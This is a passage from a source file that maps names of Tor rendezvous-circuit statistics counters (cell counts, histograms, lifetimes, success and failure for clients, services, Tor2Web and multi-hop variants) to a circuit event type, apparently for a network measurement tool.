'RendClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceCircuitCount' : { CIRCUIT_EVENT },
'RendServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUCircuitCount' : { CIRCUIT_EVENT },
'RendUCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
